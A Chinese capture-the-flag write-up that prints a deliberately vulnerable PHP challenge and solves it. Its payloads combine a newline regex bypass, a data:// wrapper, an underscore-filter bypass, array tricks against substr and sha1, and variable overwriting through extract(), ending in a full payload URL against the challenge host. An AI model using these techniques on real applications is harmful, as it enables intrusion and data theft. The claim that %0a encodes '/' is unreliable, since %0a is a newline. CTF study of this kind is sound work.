套娃
最简单的那种套娃
<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);
$ia = "index.php";
$query = $_SERVER['QUERY_STRING'];
//var_dump($_GET);
if (preg_match('/^xxxxisfun$/', $_GET['xxxx']) && $_GET['xxxx'] !== 'xxxxisfun') {
$ia = $_GET["id"];
}
if(file_get_contents($ia)!=='xxxxisfun') {
die('go away');
}
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('no!');
}
if($_GET['x_x_x_x'] !== '666' && preg_match('/^666$/', $_GET['x_x_x_x'])){
echo "let's go";
if($_GET)
$tql = $_GET['tql'];
$action='';
if(substr($_GET['tql'], 32) === sha1($_GET['tql'])) {
extract($_GET["flag"]);
}
if($action === 'givemeflag'){
echo $flag;
}
}
else
{
echo 'nonono';
}
?>
preg_match
执行匹配正则表达式
file_get_contents()
函数把整个文件读入一个字符串中
if (preg_match('/^xxxxisfun$/', $_GET['xxxx']) && $_GET['xxxx'] !== 'xxxxisfun') {
$ia = $_GET["id"];
}
if(file_get_contents($ia)!=='xxxxisfun') {
die('go away');
}
进行审计,这里有两个条件
-
第一个就是xxxx===xxxxisfun,很简单,这里的正则表达式检查第一个和最后一个字符,可以用/的URL编码%0a绕过
-
第二个是通过file_get_content函数将整个数据读入一个字符串中,但是后面的值使用的单引号,并且中间使用===来判断全等,通过查找这里可以使用data:// 来进行转换 格式为data://text/plain;base64,将xxxxisfun进行base64编码得到eHh4eGlzZnVu,所以需要通过get提交一个名为id的参数,值为data://text/plain;base64,eHh4eGlzZnVu
即xxxx=xxxxisfun%0a&id=data://text/plain;base64,eHh4eGlzZnVu
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('no!');
}
if($_GET['x_x_x_x'] !== '666' && preg_match('/^666$/', $_GET['x_x_x_x'])){
echo "let's go";
这里的意思是x_x_x_x===666但是不能有_和他的URL编码
这里利用正则匹配绕过一下,‘.’匹配任意任意一个字符
构造x.x.x.x=666
if($_GET)
$tql = $_GET['tql'];
$action='';
if(substr($_GET['tql'], 32) === sha1($_GET['tql'])) {
extract($_GET["flag"]);
}
if($action === 'givemeflag'){
echo $flag;
}
这里是一个变量覆盖
- tql[]是为了绕过substr函数的限制,subster不能处理数组,所以会把返回值为空,sha1函数也是,空===空,所以继续进行。
- extract函数从数组中将变量导入当前页面,用get传入一个
flag[action]=givemeflag
,到extract里就是extract(flag[action]=givemeflag),这时flag就是个数组,生成了一个名为action,值为givemeflag的变量,将原来的$action=‘’
给覆盖了
playload:tql[]=&flag[action]=givemeflag
总playload:
http://49.234.5.69:30001/?xxxx=xxxxisfun%0a&id=data://text/plain;base64,eHh4eGlzZnVu&x.x.x.x=666%0a&tql[]=&flag[action]=givemeflag